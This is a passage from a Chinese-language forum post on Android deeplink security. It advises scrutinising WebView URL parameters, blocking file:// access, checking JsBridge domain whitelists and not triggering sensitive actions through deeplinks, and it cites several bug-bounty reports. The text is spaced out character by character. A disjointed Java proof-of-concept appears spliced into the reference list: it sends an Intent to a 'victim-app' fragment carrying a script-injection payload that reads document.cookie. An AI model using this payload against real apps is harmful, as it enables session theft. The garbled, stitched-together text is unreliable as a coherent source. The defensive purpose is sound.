重 点 关 注 与 d e e p l i n k 有 关 的 W e b V i e w 安 全 问 题 ， 这 一 类 漏 洞 在 d e e p l i n k 安 全 问 题 中 占 比 最 大 。 需 要 小 心 d e e p l i n k 中 u r l 、 e x t r a _ u r l 、 p a g e 、 l i n k 、 r e d i r e c t 等 参 数 ， 检 查 是 否 可 以 修 改 这 些 参 数 使 W e b V i e w 访 问 任 意 域 名 。 如 果 这 本 身 是 一 个 业 务 设 计 ， 建 议 对 用 户 给 出 外 域 跳 转 提 示 ， 同 时 禁 止 W e b V i e w 对 f i l e : / / 的 访 问 ， 禁 止   l o a d U r l 访 问 外 域 携 带 重 要 的 认 证 t o k e n ， 并 仔 细 检 查 W e b V i e w 开 放 敏 感 j a v a S c r i p t I n t e r f a c e 或 J s B r i d g e 接 口 所 做 的 域 名 白 名 单 校 验 。 此 外 ， 由 于 d e e p l i n k 无 法 验 证 来 源 ， 因 此 也 不 能 用 来 设 计 为 触 发 一 个 对 安 全 有 影 响 的 敏 感 操 作 ， 例 如 ： 发 送 携 带 认 证 t o k e n 的 数 据 包 打 开 保 护 组 件 绕 过 应 用 锁 无 需 用 户 交 互 对 外 拨 号 静 默 安 装 应 用     . . . . . . 建 议 使 用 d e e p l i n k 的 A p p 开 发 者 向 内 部 安 全 团 队 提 供 所 有 d e e p l i n k 清 单 和 设 计 文 档 进 行 安 全 测 试 ， 这 样 可 以 比 外 部 攻 击 者 更 早 、 更 全 面 地 发 现 d e e p l i n k 引 入 的 安 全 问 题 。 参 考 参 考 [ 1 ]   h t t p : / / w w w . m b s d . j p / W h i t e p a p e r / I n t e n t S c h e m e . p d f [ 2 ] h t t p s : / / w o o y u n . j s . o r g / d r o p s / I n t e n t % 2 0 s c h e m e % 2 0 U R L % 2 0 a t t a c k . h t m l [ 3 ] [ B r e a k i n g   T h e   F a c e b o o k   F o r   A n d r o i d   A p p l i c a t i o n ] ( h t t p s : / / a s h - k i n g . c o . u k / f a c e b o o k - b u g - b o u n t y - 0 9 - 1 8 . h t m l ) [ 4 ] [ I n s e c u r e   d e e p l i n k   l e a d s   t o   s e n s i t i v e   i n f o r m a t i o n   d i s c l o s u r e ] ( h t t p s : / / h a c k e r o n e . c o m / r e p o r t s / 4 0 1 7 9 3 ) [ 5 ] h t t p s : / / h a c k e r o n e . c o m / r e p o r t s / 5 8 3 9 8 7                 a r g 3 . p u t S t r i n g ( " m a p _ f i l e _ n a m e " ,   t h i s . a ( ) ) ;   / /   t h i s . a   i s   p u t   i n   m a p _ f i l e _ n a m e                 r e t u r n   a r g 3 ;         } ` ` ` ` ` ` j a v a I n t e n t   p a y l o a d   =   n e w   I n t e n t ( I n t e n t . A C T I O N _ V I E W ) ;   p a y l o a d . s e t D a t a ( U r i . p a r s e ( " v i c t i m - a p p : / / c / c o n t a c t / 2 ? f r a g m e n _ c l a s s = c o m . v i c t i m . a p p . G o o g l e W e b V i e w M a p F r a g m e n t " ) ) ;   B u n d l e   e x t r a   =   n e w   B u n d l e ( ) ;   e x t r a . p u t S t r i n g ( " m a p _ u r l " ,   " " > < / s c r i p t > < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) ; < / s c r i p t > < s c r i p t > " ) ;   e x t r a . p u t S t r i n g ( " m a p _ f i l e _ n a m e " ,   " g o o g l e _ m a p . h t m l " ) ;   e x t r a . p u t S t r i n g ( " m a p _ d o m a i n " ,   " h t t p s : / / w w w . v i c t i m - a p p . c o m " ) ;   p a y l o a d . p u t E x t r a ( " b u n d l e " ,   e x t r a ) ;   s t a r t A c t i v i t y ( p a y l o a d ) ; ` ` `
[ 6 ] h t t p s : / / h a c k e r o n e . c o m / r e p o r t s / 6 3 7 1 9 4 [ 7 ] h t t p s : / / b l o g . s a m b a l 0 x . c o m / 2 0 1 9 / 1 0 / 1 8 / P a s s c o d e a c t i v i t y r a c e c o n d i t i o n b y p a s s . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理